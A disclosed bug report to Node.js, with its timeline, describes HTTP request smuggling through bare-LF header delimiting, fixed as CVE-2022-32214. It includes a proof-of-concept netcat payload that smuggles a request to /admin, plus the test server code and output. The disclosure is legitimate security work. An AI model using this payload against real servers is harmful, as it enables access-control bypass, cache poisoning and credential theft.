

5

HTTP Request Smuggling Due To Improper Delimiting of Header Fields

Share:



TIMELINE



zeyu2001 submitted a report to [Node.js](#).

Mar 28th (8 months ago)

Summary:

The `libhttp` parser in the `http` module in Node v17.8.0 does not strictly use the CRLF sequence to delimit HTTP requests. This can lead to HTTP Request Smuggling (HRS).

Description:

The LF character (without CR) is sufficient to delimit HTTP header fields in the `libhttp` parser. According to [RFC7230 section 3](#), only the CRLF sequence should delimit each `header-field`.

Consider the following request (all lines are delimited by CRLF except the `[\n]` part)

Code 121 Bytes

[Wrap lines](#) [Copy](#) [Download](#)

```
1 GET / HTTP/1.1
2 Host: localhost
3 Dummy: x[\n]Content-Length: 23
4
5 GET / HTTP/1.1
6 Dummy: GET /admin HTTP/1.1
7 Host: localhost
8
```

Suppose that an upstream server:

- Correctly delimits lines by the CRLF sequence instead of only LF
- Incorrectly allows the LF character in header values

Request as seen by the Node server:

Code 118 Bytes

[Wrap lines](#) [Copy](#) [Download](#)

```
1 GET / HTTP/1.1
2 Host: localhost
3 Dummy: x
4 Content-Length: 23
5
6 GET / HTTP/1.1
7 Dummy: GET /admin HTTP/1.1
8 Host: localhost
9
```

Steps To Reproduce:

Server code I used for testing:

Code 600 Bytes

[Wrap lines](#) [Copy](#) [Download](#)

```
1 const http = require('http');
2
3 http.createServer((request, response) => {
4   let body = [];
5   request.on('error', (err) => {
6     response.end("error while reading body: " + err)
7   }).on('data', (chunk) => {
8     body.push(chunk);
9   }).on('end', () => {
10    body = Buffer.concat(body).toString();
11
12    response.on('error', (err) => {
13      response.end("error while sending response: " + err)
14    });
15
16    response.end(JSON.stringify({
17      "URL": request.url,
18      "Headers": request.headers,
19      "Length": body.length,
20      "Body": body,
```

Payload:

Code 209 Bytes

[Wrap lines](#) [Copy](#) [Download](#)

```
1 (printf "GET / HTTP/1.1\r\n"\n
2 "Host: localhost\r\n"\n
3 "Dummy: x\r\nContent-Length: 23\r\n"\n
4 "\r\n"\n
5 "GET / HTTP/1.1\r\n"\n
6 "Dummy: GET /admin HTTP/1.1\r\n"\n
7 "Host: localhost\r\n"\n
8 "\r\n"\n
9 "\r\n") | nc localhost 80
```

Expected result: Sees two requests, both to `/`.

Actual result: Sees one request to `/` and another to `/admin`.

Code 427 Bytes

[Wrap lines](#) [Copy](#) [Download](#)

```
1 HTTP/1.1 200 OK
2 Date: Mon, 28 Mar 2022 15:51:44 GMT
3 Connection: keep-alive
4 Keep-Alive: timeout=5
5 Content-Length: 124
6
7 {"URL":"/","Headers":{"host":"localhost","dummy":"x","content-length":"23"},"Length"
8 HTTP/1.1 200 OK
9 Date: Mon, 28 Mar 2022 15:51:44 GMT
10 Connection: keep-alive
11 Keep-Alive: timeout=5
12 Content-Length: 69
13
14 {"URL":"/admin","Headers":{"host":"localhost"},"Length":0,"Body":""}
```

Impact

Depending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.

states:

Code 181 Bytes

[Wrap lines](#) [Copy](#) [Download](#)

```
1 Although the line terminator for the start-line and header fields is
2 the sequence CRLF, a recipient MAY recognize a single LF as a line
3 terminator and ignore any preceding CR.
```

This makes the parsing of the LF as a line delimiter somewhat justified, though in the same section this is mentioned:

Code 199 Bytes

[Wrap lines](#) [Copy](#) [Download](#)

```
1 However, lenient parsing can
2 result in security vulnerabilities if there are multiple recipients
3 of the message and each has its own unique interpretation of
4 robustness (see Section 9.5).
```

To prevent potential vulnerabilities depending on the upstream proxy, I recommend that the CRLF sequence be used regardless.

See [CVE-2019-16785](#) in Waitress. A similar issue was fixed.



[vdeturckheim](#) Node.js staff posted a comment.

Mar 29th (8 months ago)

Hey [@zeyu2001](#), thanks a lot for this report, I will be looking at it in the next 48 hours and circle back with you.



[shogunpanda](#) joined this report as a participant.

Mar 30th (8 months ago)



[zeyu2001](#) posted a comment.

Apr 1st (8 months ago)

Hey, any updates on this one? :)



[vdeturckheim](#) Node.js staff posted a comment.

Apr 1st (8 months ago)


Hey, sorry, for some reasons, I lost this report in H1. I will dig back on it. Thanks for your patience here.



[vdeturckheim](#) Node.js staff changed the status to Triaged.


Apr 5th (8 months ago)

Triaged, let's see how to get it fixed

 [@zeyu2001](#) Soon as the fix is released, we'll create a blog post to announce the Security Release. Would you like to be credited on the announcement?

It will look like this:


Thank you to [@zeyu2001](#) for reporting this vulnerability.

 [zeyu2001](#) posted a comment. Jun 15th (5 months ago)
[@rafaelgss](#) yes please. Could you also include my name?

Thank you to Zeyu Zhang ([@zeyu2001](#)) for reporting this vulnerability.

Thanks!

 [rafaelgss](#) Node.js staff updated CVE reference to [CVE-2022-32214](#). Jun 20th (5 months ago)

 [mcollina](#) Node.js staff closed the report and changed the status to Resolved. Jul 7th (5 months ago)
This was released as part of our July 2022 security release:
<https://nodejs.org/en/blog/vulnerability/july-2022-security-releases/>

 [mcollina](#) Node.js staff requested to disclose this report. Jul 7th (5 months ago)

 [zeyu2001](#) agreed to disclose this report. Jul 7th (5 months ago)
Thanks!

 This report has been disclosed. Jul 7th (5 months ago)